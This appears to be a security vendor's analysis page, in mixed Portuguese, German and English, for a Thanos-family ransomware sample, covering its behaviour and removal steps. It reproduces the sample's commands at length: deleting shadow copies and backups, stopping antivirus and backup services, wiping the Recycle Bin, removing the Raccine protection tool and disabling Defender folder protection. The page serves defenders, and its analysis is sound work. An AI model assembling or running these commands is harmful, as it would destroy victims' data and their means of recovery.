Analisado por: Maria Emreen Viray   

 

HEUR:Trojan-PSW.MSIL.Reline.vho (KAPERSKY)

 Plataforma:

Windows

 Classificao do risco total:
 Potencial de dano:
 Potencial de distribuição:
 infecção relatada:
 Exposição das informações:
Baixo
Medium
Alto
Crítico

  • Tipo de grayware:
    Ransomware

  • Destrutivo:
    Não

  • Criptografado:
    Sim

  • In the Wild:
    Sim

  Visão geral

Canal de infecção: Aus dem Internet heruntergeladen

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Löscht Registrierungsschlüssel von Antiviren-Programmen. Dadurch kann diese Malware ihre Routinen unentdeckt von Antiviren-Programmen ausführen.

  Detalhes técnicos

Tipo de compactação: 2,295,296 bytes
Tipo de arquivo: EXE
Compresión de archivo Themida
Residente na memória: Sim
Data de recebimento das amostras iniciais: 19 fevereiro 2021
Carga útil: Displays message/message boxes, Deletes files, Encrypts files

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

  • %User Startup%\mystartup.lnk → points to %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt (Ransom Note)

(Hinweis: %User Temp% ist der Ordner 'Temp' des aktuellen Benutzers, normalerweise C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Temp unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Local\Temp unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Prozesse hinzu:

  • "%System%\notepad.exe" %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • "icacls" "Z:*" /grant Everyone:F /T /C /Q
  • "icacls" "D:*" /grant Everyone:F /T /C /Q
  • "icacls" "C:*" /grant Everyone:F /T /C /Q
  • "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM thebat.exe /F
  • "taskkill.exe" /IM steam.exe /F
  • "taskkill.exe" /IM agntsvc.exe /F
  • "taskkill.exe" /IM xfssvccon.exe /F
  • "taskkill.exe" IM thunderbird.exe /F
  • "taskkill.exe" /IM dbsnmp.exe /F
  • "taskkill.exe" /IM zoolz.exe /F
  • "taskkill.exe" /IM infopath.exe /F
  • "taskkill.exe" /IM mbamtray.exe /F
  • "taskkill.exe" /IM thebat64.exe /F
  • "taskkill.exe" /IM ocomm.exe /F
  • "taskkill.exe" /IM dbeng50.exe /F
  • "taskkill.exe" /IM sqlwriter.exe /F
  • "taskkill.exe" /IM tbirdconfig.exe /F
  • "taskkill.exe" /IM excel.exe /F
  • "taskkill.exe" /IM CNTAoSMgr.exe /F
  • "taskkill.exe" /IM sqlservr.exe /F
  • "taskkill.exe" /IM encsvc.exe /F
  • "taskkill.exe" /IM sqlbrowser.exe /F
  • "taskkill.exe" /IM oracle.exe /F
  • "taskkill.exe" /IM sqlagent.exe /F
  • "taskkill.exe" /IM ocautoupds.exe /F
  • "taskkill.exe" /IM ocssd.exe /F
  • "taskkill.exe" /IM mysqld-opt.exe /F
  • "taskkill.exe" /IM mysqld-nt.exe /F
  • "taskkill.exe" /IM wordpad.exe /F
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM winword.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM visio.exe /F
  • "taskkill.exe" /IM powerpnt.exe /F
  • "taskkill.exe" /IM tmlisten.exe /F
  • "taskkill.exe" /IM msftesql.exe /F
  • "taskkill.exe" /IM outlook.exe /F
  • "taskkill.exe" /IM msaccess.exe /F
  • "taskkill.exe" /IM onenote.exe /F
  • "taskkill.exe" /IM PccNTMon.exe /F
  • "taskkill.exe" /IM Ntrtscan.exe /F
  • "taskkill.exe" /IM isqlplussvc.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM firefoxconfig.exe /F
  • "taskkill.exe" /IM sqbcoreservice.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "taskkill.exe" /IM synctime.exe /F
  • "taskkill.exe" /IM mysqld.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "net.exe" stop TrueKeyScheduler /y
  • "net.exe" stop SQLTELEMETRY /y
  • "net.exe" stop SQLSERVERAGENT /y
  • "net.exe" stop SQLSafeOLRService /y
  • "net.exe" stop TrueKey /y
  • "net.exe" stop tmlisten /y
  • "net.exe" stop TmCCSF /y
  • "net.exe" stop SQLBrowser /y
  • "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  • "net.exe" stop vapiendpoint /y
  • "net.exe" stop swi_update /y
  • "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  • "net.exe" stop swi_update_64 /y
  • "net.exe" stop mssql$vim_sqlexp /y
  • "net.exe" stop mfefire /y
  • "net.exe" stop SQLAgent$TPSAMA /y
  • "net.exe" stop OracleClientCache80 /y
  • "net.exe" stop WRSVC /y
  • "net.exe" stop swi_service /y
  • "net.exe" stop SQLTELEMETRY$ECWDB2 /y
  • "net.exe" stop VeeamTransportSvc /y
  • "net.exe" stop SQLAgent$TPS /y
  • "net.exe" stop TrueKeyServiceHelper /y
  • "net.exe" stop McTaskManager /y
  • "net.exe" stop swi_filter /y
  • "net.exe" stop SstpSvc /y
  • "net.exe" stop MySQL80 /y
  • "net.exe" stop SQLAgent$SYSTEM_BGC /y
  • "net.exe" stop svcGenericHost /y
  • "net.exe" stop SQLAgent$SOPHOS /y
  • "net.exe" stop SQLAgent$SQLEXPRESS /y
  • "net.exe" stop SQLAgent$SQL_2008 /y
  • "net.exe" stop sophossps /y
  • "net.exe" stop SQLAgent$SHAREPOINT /y
  • "net.exe" stop SntpService /y
  • "net.exe" stop SQLAgent$SBSMONITORING /y
  • "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  • "net.exe" stop SmcService /y
  • "net.exe" stop Smcinst /y
  • "net.exe" stop SQLAgent$PROD /y
  • "net.exe" stop SQLAgent$PRACTTICEMGT /y
  • "net.exe" stop ShMonitor /y
  • "net.exe" stop SQLAgent$PRACTTICEBGC /y
  • "net.exe" stop SepMasterService /y
  • "net.exe" stop SAVService /y
  • "net.exe" stop SAVAdminService /y
  • "net.exe" stop SQLAgent$ECWDB2 /y
  • "net.exe" stop SQLAgent$CXDB /y
  • "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  • "net.exe" stop sacsvr /y
  • "net.exe" stop MSSQL$SOPHOS /y
  • "net.exe" stop sms_site_sql_backup /y
  • "net.exe" stop SQLAgent$BKUPEXEC /y
  • "net.exe" stop RESvc /y
  • "net.exe" stop mfevtp /y
  • "net.exe" stop wbengine /y
  • "net.exe" stop ReportServer$SQL_2008 /y
  • "net.exe" stop mfemms /y
  • "net.exe" stop wbengine /y
  • "net.exe" stop DCAgent /y
  • "net.exe" stop MSSQL$SHAREPOINT /y
  • "net.exe" stop BackupExecVSSProvider /y
  • "net.exe" stop MSSQL$ECWDB2 /y
  • "net.exe" stop audioendpointbuilder /y
  • "net.exe" stop “Sophos Safestore Service” /y
  • "net.exe" stop BackupExecAgentBrowser /y
  • "net.exe" stop MSSQL$PRACTICEMGT /y
  • "net.exe" stop “Sophos System Protection Service” /y
  • "net.exe" stop BackupExecDeviceMediaService /y
  • "net.exe" stop MSSQL$PRACTTICEBGC /y
  • "net.exe" stop “Sophos Web Control Service” /y
  • "net.exe" stop BackupExecJobEngine /y
  • "net.exe" stop MSSQL$PROD /y
  • "net.exe" stop AcronisAgent /y
  • "net.exe" stop BackupExecManagementService /y
  • "net.exe" stop MSSQL$PROFXENGAGEMENT /y
  • "net.exe" stop Antivirus /y
  • "net.exe" stop BackupExecRPCService /y
  • "net.exe" stop MSSQL$SBSMONITORING /
  • "net.exe" stop MSSQL$SBSMONITORING /y
  • "net.exe" stop AVP /y
  • "net.exe" stop msftesql$PROD /y
  • "net.exe" stop VeeamRESTSvc /y
  • "net.exe" stop BackupExecAgentAccelerator /y
  • "net.exe" stop “SQLsafe Filter Service” /y
  • "net.exe" stop McShield /y
  • "net.exe" stop “Sophos Message Router” /y
  • "net.exe" stop unistoresvc_1af40a /y
  • "net.exe" stop MSSQL$BKUPEXEC /y
  • "net.exe" stop “Sophos MCS Client” /y
  • "net.exe" stop ARSM /y
  • "net.exe" stop msexchangeimap4 /y
  • "net.exe" stop MSOLAP$TPSAMA /y
  • "net.exe" stop “intel(r) proset monitoring service” /y
  • "net.exe" stop “Sophos MCS Agent” /y
  • "net.exe" stop AcrSch2Svc /y
  • "net.exe" stop msexchangeadtopology /y
  • "net.exe" stop MSOLAP$TPS /y
  • "net.exe" stop “aphidmonitorservice” /y
  • "net.exe" stop ReportServer$TPSAMA /y
  • "net.exe" stop “Zoolz 2 Service” /y
  • "net.exe" stop “Sophos Health Service” /y
  • "net.exe" stop W3Svc /y
  • "net.exe" stop MSExchangeSRS /y
  • "net.exe" stop MSOLAP$SYSTEM_BGC /y
  • "net.exe" stop “Veeam Backup Catalog Data Service” /y
  • "net.exe" stop ReportServer$TPS /y
  • "net.exe" stop “Sophos File Scanner Service” /y
  • "net.exe" stop MSExchangeSA /y
  • "net.exe" stop UI0Detect /y
  • "net.exe" stop MSOLAP$SQL_2008 /y
  • "net.exe" stop “Symantec System Recovery” /y
  • "net.exe" stop ReportServer$SYSTEM_BGC /y
  • "net.exe" stop “Sophos Device Control Service” /y
  • "net.exe" stop ReportServer$SQL_2008 /y
  • "net.exe" stop MySQL57 /y
  • "net.exe" stop MSExchangeMTA /y
  • "net.exe" stop SMTPSvc /y
  • "net.exe" stop VeeamNFSSvc /y
  • "net.exe" start upnphost /y
  • "net.exe" stop MsDtsServer /y
  • "net.exe" stop IISAdmin /y
  • "net.exe" stop MSExchangeES /y
  • "net.exe" stop “Sophos Agent” /y
  • "net.exe" stop EraserSvc11710 /y
  • "net.exe" stop “Enterprise Client Service” /y
  • "net.exe" stop “SQL Backups /y
  • "net.exe" stop MsDtsServer100 /y
  • "net.exe" stop NetMsmqActivator /y
  • "net.exe" stop MSExchangeIS /y
  • "net.exe" stop “Sophos AutoUpdate Service” /y
  • "net.exe" stop SamSs /y
  • "net.exe" stop ReportServer /y
  • "net.exe" stop “SQLsafe Backup Service” /y
  • "net.exe" stop MsDtsServer110 /y
  • "net.exe" stop POP3Svc /y
  • "net.exe" stop MSExchangeMGMT /y
  • "net.exe" stop “Sophos Clean Service” /y
  • "net.exe" stop zhudongfangyu /y
  • "net.exe" stop stc_raw_agent /y
  • "net.exe" stop VSNAPVSS /y
  • "net.exe" stop VeeamTransportSvc /y
  • "net.exe" stop VeeamDeploymentService /y
  • "net.exe" stop VeeamNFSSvc /y
  • "net.exe" stop veeam /y
  • "net.exe" stop PDVFSService /y
  • "net.exe" stop BackupExecVSSProvider /y
  • "net.exe" stop BackupExecAgentAccelerator /y
  • "net.exe" stop BackupExecAgentBrowser /y
  • "net.exe" stop BackupExecDiveciMediaService /y
  • "net.exe" stop BackupExecJobEngine /y
  • "net.exe" stop BackupExecManagementService /y
  • "net.exe" stop BackupExecRPCService /y
  • "net.exe" stop AcrSch2Svc /y
  • "net.exe" stop AcronisAgent /y
  • "net.exe" stop CASAD2DWebSvc /y
  • "net.exe" stop CAARCUpdateSvc /y
  • "net.exe" stop sophos /y
  • "net.exe" stop “Acronis VSS Provider” /y
  • "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  • "net.exe" start FDResPub /y
  • "net.exe" start SSDPSRV /y
  • "net.exe" stop avpsus /y
  • "net.exe" stop McAfeeDLPAgentService /y
  • "net.exe" stop mfewc /y
  • "net.exe" stop BMR Boot Service /y
  • "net.exe" stop NetBackup BMR MTFTP Service /y
  • "net.exe" stop DefWatch /y
  • "net.exe" stop ccEvtMgr /y
  • "net.exe" stop ccSetMgr /y
  • "net.exe" stop SavRoam /y
  • "net.exe" stop RTVscan /y
  • "net.exe" stop QBFCService /y
  • "net.exe" stop QBIDPService /y
  • "net.exe" stop Intuit.QuickBooks.FCS /y
  • "net.exe" stop QBCFMonitorService /y
  • "net.exe" stop YooBackup /y
  • "net.exe" stop YooIT /y
  • "net.exe" stop MSSQLServerOLAPService /y
  • "net.exe" stop VeeamMountSvc /y
  • "net.exe" stop McAfeeFramework /y
  • "net.exe" stop MSSQLServerADHelper100 /y
  • "net.exe" stop McAfeeEngineService /y
  • "net.exe" stop VeeamHvIntegrationSvc /y
  • "net.exe" stop MSSQLServerADHelper /y
  • "net.exe" stop MBEndpointAgent /y
  • "net.exe" stop VeeamEnterpriseManagerSvc /y
  • "net.exe" stop VeeamDeploySvc /y
  • "net.exe" stop MSSQLSERVER /y
  • "net.exe" stop MBAMService /y
  • "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  • "net.exe" stop masvc /y
  • "net.exe" stop VeeamDeploymentService /y
  • "net.exe" stop MSSQLFDLauncher$TPS /y
  • "net.exe" stop macmnsvc /y
  • "net.exe" stop VeeamCloudSvc /y
  • "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  • "net.exe" stop VeeamCatalogSvc /y
  • "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  • "net.exe" stop klnagent /y
  • "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  • "net.exe" stop kavfsslp /y
  • "net.exe" stop VeeamBrokerSvc /y
  • "net.exe" stop KAVFSGT /y
  • "net.exe" stop VeeamBackupSvc /y
  • "net.exe" stop SQLWriter /y
  • "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  • "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  • "net.exe" stop KAVFS /y
  • "net.exe" stop FA_Scheduler /y
  • "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  • "net.exe" stop SDRSVC /y
  • "net.exe" stop MSSQL$VEEAMSQL2012 /y
  • "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  • "net.exe" stop ESHASRV /y
  • "net.exe" stop PDVFSService /y
  • "net.exe" stop EsgShKernel /y
  • "net.exe" stop MSSQL$TPSAMA /y
  • "net.exe" stop ntrtscan /y
  • "net.exe" stop EPUpdateService /y
  • "net.exe" stop MSSQL$TPS /y
  • "net.exe" stop EPSecurityService /y
  • "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  • "net.exe" stop MSSQL$SYSTEM_BGC /y
  • "net.exe" stop ekrn /y
  • "net.exe" stop mozyprobackup /y
  • "net.exe" stop MMS /y
  • "net.exe" stop MSSQL$SQLEXPRESS /y
  • "net.exe" stop EhttpSrv /y
  • "net.exe" stop bedbg /y
  • "net.exe" stop MSSQL$SQL_2008 /y
  • "net.exe" start Dnscache /y
  • "sc.exe" config SSDPSRV start= auto
  • "sc.exe" config FDResPub start= auto
  • "sc.exe" config upnphost start= auto
  • "sc.exe" config SstpSvc start= disabled
  • "sc.exe" config SQLWriter start= disabled
  • "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  • "sc.exe" config SQLTELEMETRY start= disabled
  • "sc.exe" config Dnscache start= auto
  • "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  • "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  • "cmd.exe" /c rd /s /q D:\$Recycle.bin
  • "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  • "cmd.exe" /c rd /s /q %%SYSTEMDRIVE%%\$Recycle.bin
  • "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  • "reg" delete HKCU\Software\Raccine /F
  • "taskkill" /F /IM RaccineSettings.exe
  • powershell.exe Set-MpPreference -EnableControlledFolderAccess Disable

(Hinweis: %Desktop% ist der Ordner 'Desktop' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Desktop unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Desktop unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Desktop unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\Desktop unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Mutexe hinzu, damit nur jeweils eine ihrer Kopien ausgeführt wird:

  • Global\a61e092f-af60-4971-9606-2414b1d0e04b

Beendet sich selbst, wenn die folgenden Prozesse im Speicher des betroffenen Systems gefunden werden:

  • http analyzer stand-alone
  • fiddler
  • effetech http sniffer
  • firesheep
  • IEWatch Professional
  • dumpcap
  • wireshark
  • wireshark portable
  • sysinternals tcpview
  • NetworkMiner
  • NetworkTrafficView
  • HTTPNetworkSniffer
  • tcpdump
  • intercepter
  • Intercepter-NG
  • ollydbg
  • x64dbg
  • x32dbg
  • dnspy
  • dnspy-x86
  • de4dot
  • ilspy
  • dotpeek
  • dotpeek64
  • ida64
  • RDG Packer Detector
  • CFF Explorer
  • PEiD
  • protection_id
  • LordPE
  • pe-sieve
  • MegaDumper
  • UnConfuserEx
  • Universal_Fixer
  • NoFuserEx

Andere Systemänderungen

Fügt die folgenden Registrierungseinträge hinzu:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeText = {Text from Ransom Note}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticetext = {Text from Ransom Note}

Löscht die folgenden Registrierungsschlüssel von Antiviren- und Sicherheitsanwendungen:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\EventLog\Application
Raccine =

HKEY_LOCAL_MACHINE\SOFTWARE
Raccine =

HKEY_CURRENT_USER\SOFTWARE
Raccine =

Andere Details

Verschlüsselt Dateien mit den folgenden Erweiterungen:

  • .txt
  • .jpeg
  • .gif
  • .jpg
  • .png
  • .php
  • .cs
  • .cpp
  • .rar
  • .zip
  • .html
  • .htm
  • .xls
  • .avi
  • .mp4
  • .ppt
  • .doc
  • .sxi
  • .sxw
  • .odt
  • .hwp
  • .tar
  • .bz2
  • .mkv
  • .eml
  • .msg
  • .ost
  • .pst
  • .edb
  • .sql
  • .accdb
  • .mdb
  • .dbf
  • .odb
  • .myd
  • .java
  • .pas
  • .asm
  • .key
  • .pfx
  • .pem
  • .p12
  • .csr
  • .gpg
  • .aes
  • .vsd
  • .odg
  • .raw
  • .nef
  • .svg
  • .psd
  • .vmx
  • .vmdk
  • .vdi
  • .lay6
  • .sqlite3
  • .sqlitedb
  • .class
  • .mpeg
  • .djvu
  • .tiff
  • .backup
  • .cert
  • .docm
  • .xlsm
  • .dwg
  • .bak
  • .qbw
  • .nd
  • .tlg
  • .lgb
  • .pptx
  • .mov
  • .xdw
  • .ods
  • .wav
  • .mp3
  • .aiff
  • .flac
  • .m4a
  • .ora
  • .mdf
  • .ldf
  • .ndf
  • .dtsx
  • .rdl
  • .dim
  • .mrimg
  • .qbb
  • .rtf
  • .7z

Es macht Folgendes:

  • encrypts all available drives except for CDROMs
  • empties recycle bin using the following commands:
    • "cmd.exe" /c rd /s /q D:\$Recycle.bin
    • "cmd.exe" /c rd /s /q %%SYSTEMDRIVE%%\$Recycle.bin
  • Terminates and deletes itself using the following commands:
    • cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
    • cmd.exe /C choice /C Y /N /D Y /T 3 & Del
  • deletes the following subkeys under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options:
    • vssadmin.exe
    • wmic.exe
    • wbadmin.exe
    • bcdedit.exe
    • powershell.exe
    • diskshadow.exe
    • net.exe
  • displays the following tooltip notification:
  • attempts to hide itself from specific monitoring tools by doing the following:
    • downloads ProcessHide32/64 binary to %User Temp%\{random}.exe (deletes after use) from the following URLs:
      • https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide64.exe
      • https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide32.exe
    • checks if the following monitoring processes containing the following strings are running:
      • Taskmgr
      • taskmgr
      • ProcessHacker
      • procexp
    • executes ProcessHide32/64 with the following parameters:
      • {PID of checked process} {full file path + name of malware} [" *32"]
  • terminates large running processes taking up memory if the following strings are not found in the process name:
    • {malware name}.exe
    • chrome
    • opera
    • msedge
    • iexplore
    • firefox
    • explorer
    • wininit
    • winlogon
    • SearchApp
    • SearchIndexer
    • SearchUI
  • if infected system is in Windows XP, creates the following processes to delete shadow copies:
    • vssadmin.exe Delete Shadows /all /quiet
    • vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    • vssadmin.exe Delete Shadows /all /quiet
  • attempts to delete backup files using the following processes:
    • del.exe /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
    • del.exe /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
    • del.exe /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
    • del.exe /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
    • del.exe /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk

  Solução

Mecanismo de varredura mínima: 9.800
Primeiro arquivo padrão VSAPI: 16.568.03
Data do lançamento do primeiro padrão VSAPI: 01 março 2021
VSAPI OPR Pattern Version: 16.569.00
VSAPI OPR Pattern veröffentlicht am: 02 março 2021

Step 2

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 3

<p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p><p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p>

Step 4

Im abgesicherten Modus neu starten

[ Saber mais ]

Step 5

Diesen Registrierungswert löschen

[ Saber mais ]

Wichtig: Eine nicht ordnungsgemäße Bearbeitung der Windows Registrierung kann zu einer dauerhaften Fehlfunktion des Systems führen. Führen Sie diesen Schritt nur durch, wenn Sie mit der Vorgehensweise vertraut sind oder wenn Sie Ihren Systemadministrator um Unterstützung bitten können. Lesen Sie ansonsten zuerst diesen Microsoft Artikel, bevor Sie die Registrierung Ihres Computers ändern.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows NT\CurrentVersion\Winlogon
  • In LegalNoticeCaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
  • In Windows NT\CurrentVersion\Winlogon
    • LegalNoticeText = {Text from Ransom Note}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows\CurrentVersion\Policies\
  • In System
    • legalnoticecaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows\CurrentVersion\Policies\
  • In System
    • legalnoticetext = {Text from Ransom Note}

Step 6

Diese Datei suchen und löschen

[ Saber mais ]
Möglicherweise sind einige Komponentendateien verborgen. Aktivieren Sie unbedingt das Kontrollkästchen Versteckte Elemente durchsuchen unter Weitere erweiterte Optionen, um alle verborgenen Dateien und Ordner in den Suchergebnissen zu berücksichtigen.
  • %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt
  • %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • {encrypted directory}\HOW_TO_RECOVER_YOUR_FILES.txt
  • %User Startup%\mystartup.lnk

Step 7

Führen Sie den Neustart im normalen Modus durch, und durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt nach Dateien, die als Ransom.MSIL.THANOS.THBAIBA entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.

Step 8

Restore encrypted files from backup.


Participe da nossa pesquisa!